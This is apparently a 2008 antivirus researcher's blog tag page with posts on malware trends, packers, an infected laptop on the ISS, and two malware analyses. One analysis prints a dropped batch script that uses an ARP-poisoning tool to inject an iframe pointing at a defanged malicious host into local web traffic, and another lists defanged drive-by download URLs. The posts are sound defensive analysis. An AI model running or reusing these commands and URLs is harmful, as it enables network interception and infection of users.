malware

You are currently browsing articles tagged malware.

Winerrorfixer... avlxyz on FLickr
Photo: avlxyz on Flickr.

The debate on what internet security would look like in the year 2020 at Internetdagarna ‘08 made me think.

What will the malware landscape look like in 12 years?

Well, if we look at our history it’s quite hard to see a larger trend as our selection really doesn’t range that long back. Viruses and worms has been present ever since people started networking computers, and some ever longer. However, there has always been a very opportunistic area and the “bad guys” has adapted quite easily to the different challenges we’ve put them up to.

Previously the attacks were almost always aimed at being large scale and make as much noise as possible. We had the CIH virus, Loveletter, Melissa, Blaster, Sasser and so on. This type of malware did a lot of damage, caused a lot of headache, made people cry over lost images and cost companies millions of hours in overtime.

But still no one was really hurt. There wasn’t any money missing and everyone kept their identity for themselves. The game was more or less “See mee! PLZ!” and “1′m 4 b3773r VX-coder than you, mother*beep*, our cr3w rule the w0rld!!!1!!!“. Media attention was the holy grail.

This has changed though.

Some years ago (~5 yrs?) we started seeing targeted, financially motivated, malware and organizations that profited from these directly. Back then the malware authors were still learning and a lot of mistakes could be observed. We may have laughed at their worms that had bugs earlier but today it’s not that funny. They’ve learnt from their mistakes and today their cashflow enables them to do real Quality Assurance on their code.

Today almost all types of malware circulating is financially motivated in one way or another. They are adapting their methods of infection and follow world and market trends to identify the times at which hard distribution is most effective.

As my colleague Sebastian Zabala puts it; “For them it’s ‘Money talks and bullshit walks“. In other words, if it does not generate immediate cash return it is not the least interesting and terms as ARPIU (Average Revenue Per Infected User) are being used. This has been the single most dominant motivator for the malware evolution that we’ve seen in the past couple of years.

Several prominent groups has been mapped over the last four-five years, and one of them is the notorious Russian Business Network. They seem to have relocated now, but at one point last year (2007) a very large portion of the malware being distributed was coming from their network. This is probably the same now but from other, more separated, locations that isn’t as easily distinguished.

The methods of distribution was previously very direct and the bad guys were satisfied with the distribution method of one host infecting another but this has also changed a lot. Much of this change is probably motivated by their need to continuosly modify the malware to keep as much code as possible out of AV-vendors signature files. Today, a very large percent of infection happens through web browsers that get exploited by trusted websites. These websites has been hacked in one way or another in order to add HTML that loads malicious code through invisible iframe’s or scripts.

These attacks are made possible by insecure server-side code which enables attackers to do SQL injections for example. We are also starting to see signs of social networking applications being exploited for the same purpose and a possible method of infection here is XSS (Cross-site scripting). There’s a myriad of different attacks on the same theme, but it’s the same thing here really, insecure server-side code with a twist making the client essential. All in the true spirit of Web 2.0.

But the method of infection really isn’t that important. There will always be vulnerabilities waiting to be exploited. If not in insecure code, then in user behavior. Just look at the latest waves of fake security products. These often use social engineering to get installed on it’s victims computers, such as faking a windows desktop and tricking the user to click OK or taking other actions to install the malware. These applications alone are estimated to bring in multi-million numbers to the guys behind them this year.

A couple of years back, malware on the windows platform also started to come packed with rootkits and other methods of concealment. These technologies has been more widely deployed during the last year and we are seeing them being used in layers. For example, the droppers that first reach the systems often do not come with rootkit functionality but load (injects dll’s) themselves into system processes in order to stay hidden. The malicious software pack that is later downloaded more often than not come with real rootkits often in the form of system drivers. My guess is that this is meant to make users believe that once they’ve managed to clean out the malware they are in the clear, but only hours later the dropper sucks down another pack of crap and installs it.

From our (AV-vendors) point of view we are seeing steep increases in the number of samples (different versions of the same malware) being distributed and to cope with this problem we are inventing different technologies that either make our signature less important or help us analyze samples. For example Panda has TruPrevent for behavioral analysis and Collective Intelligence for malware identification and faster analysis.

This race will continue. When we establish an effective countermeasure to their latest move, they will change their business model or malware structure. When they do so, we will change our take on the problem.

So… What will the malware scene look like in 12 years?

Well, I don’t really know… I don’t think anyone really knows.

As technology evolves so will the parasitic creatures that feed upon it. My guess is that the malware will be more user tied and that more of the malicious code will be built upon pre-built frameworks that enable faster development. Maybe this already exist?

The Storm botnet that followed us from 2007 into 2008 and still is alive and well is a good example of what the future will have in store. The malicious code relies heavily on social engineering for distribution and installation, and the underlying structure is both stable and agile. They use fast DNS fluxing and double-fluxing in order to keep it alive and also varies communications method between IRC, P2P (eDonkey) and HTTP.

I’m not saying we’ll see more of the same, but rather more malware being based on the same thoughts; Great stability, Good control, Improved anonymity and excellent networking.

Platform independence will probably become more and more important for malicious software as well, as the array of different units used to access the internet is getting bigger every day. By platform I mean both hardware and software.

The challenge for us anti-malware vendors is to keep up. How we’ll be doing that is based on future experiences but in an ideal situation we come as close as we can to a silver bullet for every new twist that the bad guys throw at us. Our real challenge here is to be equally adaptable to new situations as they are. We need to be able to react quickly and hard without impacting the stability of our customers it-systems.

I also think that the user knowledge angle will be more and more important and this will have a big effect on malware distribution. Today I’m seeing younger people just laughing when they stumble upon a strange website and fire up ProcessExplorer to see if something bad happened. This would not have happened five years ago and it changes the way that malware authors have to think.

Hopefully we are up for a cleaner internet tomorrow, but there are no guarantees.

In a worst case scenario the internet might be clogged with garbage, which forces ISPs and national institutions to do filtering in order to isolate the countries that cannot control the organizations behind the malware. This is not something that we want to see and I hope it never goes that far with all of my heart.

Please comment with your thoughts on what the future has in store for us ;)

Cheers,

Tags: , , , , ,

P. Bustamante, Panda research, Custom packers increase
Photo: P Bustamante, Panda Research

Pedro Bustamante, Panda Research writes:

“In our last obfuscation study Packer (r)evolution we saw an increase in the use of private or customized versions of packers being developed to evade AV signature detections. As a curiosity I’ve updated the study to see how this trend is evolving. For this purpose our colleague Satur created a tool called “Detector” for advanced packer identification which specializes on specific, generic and custom packer identification but is also able to identify file infectors, polymorphism, installers and much more. The results are pretty amazing.”

Seems like the bad guys are handling the “threat” from improved heuristics/generic signatures/behavioural analysis with a great deal of agility and style.

Writing customized packers is not something you do over night and you can sense that this is something that the organizations behind has spent some money on…

Out of blog time now, got to go clean up an XP Antivirus 2008 (rouge security app.) infection. That motherf*cker must be repacked 500 times a day… God damned it.

Tags: , , , ,

TedRheingold on Flickr - http://flickr.com/photos/bmindful/
Photo: TedRheingold on Flickr. Only for illustration… hehe

This was just too wonderful ;)

Seems like a laptop used for “dietary schedules” and “occasional e-mail communication back to earth” was infected with the gaming worm/trojan W32.Gammima.AG and then brought onto the International Space Station (ISS).

Found it through Bruce Schneier and more information is here, here and here.

The guys behind this malware must be laughing themselves to pieces ;)

Seriously, who runs the QA at NASA?

Tags: , , , ,

… by the bad guys unfortunately ;)

When investigating one of the files that was being downloaded by the initial dropper from the Kirisun hack I found something very interesting. I do not know if this is a known technique, but it is new to me. The file I was looking at was the “24.exe” and the reason for choosing that one were:

  1. Easy :) Self-extracting RAR, no encryption and no sandbox detection.
  2. It was one of the largest files == lot’s of goodies?

After running the self-extracting RAR in the sandbox I ended up with the following files in c:\windows\system32\:

Contents

Inside the “drivers” folder a copy of npf.sys was dropped. This file belongs to the WinPcap project and so does some of the other files that were extracted.

The file that was supposed to auto start after decompression was “3.vbs” whose only job was to silently run “run.bat” which contained the following two lines:

Vml.exe -idx 0 -ip 192.168.0.1-192.168.0.254 -port 80 -insert “<iframe src=’hxxp://5.xqhgm.com/2.htm’ width=20 height=1></iframe>”
Vml.exe -idx 0 -ip 192.168.1.1-192.168.1.254 -port 80 -insert “<iframe src=’hxxp://5.xqhgm.com/2.htm’ width=20 height=1></iframe>”
exit

Ok, then what do our little friend Vml.exe do with these parameters I thought? After asking my friend Google I got the answer that I thought I would get, it was performing ARP poisoning on the local network (well, just the two subnets specified in the .bat) and inserting iframes into all websites being viewed. Previously discovered by CISRT earlier in November.

Genious! One point to the bad guys!

Tags: , , ,

Was doing some digging in google a couple of days back and found an iframe which led to a site distributing a downloader:

hxxp://w.mh8888.cn/ad.htm?a

This page in turn loads almost 10 pages and scripts from different servers, including one that uses a vulnerability in Internet Explorer to download and install a downloader (it hooks it into Internet Explorer as a BHO). If I did not use a vulnerable browser, nothing happened. Many links inside the scripts relate to the domain “cnzz.com”. Anyone have more info about these guys?

Anyhow, the dropper file’s name was “get.exe” and that in turn downloaded another file called “det.exe” which was placed in C:\Program files\Internet Explorer\det.exe.

When this file was run by get.exe (btw, it would not run in my sandbox:/ ), it started downloading and installing a driver called pcihdd.sys, placing it in c:\windows\system32\drivers\ and making the required system modifications to run. It also modified the file c:\windows\system32\userinit.exe. At the time of detection I only got a handful of “related to”, “modification of” or “suspicious file” responses from http://www.virustotal.com.

The .js’s responsible for the infections was obfuscated by simple encoding routines and then run through eval() statements. The binaries themselves had obfuscated only some of their internal strings, but some were left unchanged. One of those strings was a link to an asian site (hxxp://ilove.com/ttt.cer) disguised as a dating site.

All files including the scripts collected has been reported to the AV vendors now and should be included by now.

Tags: , , ,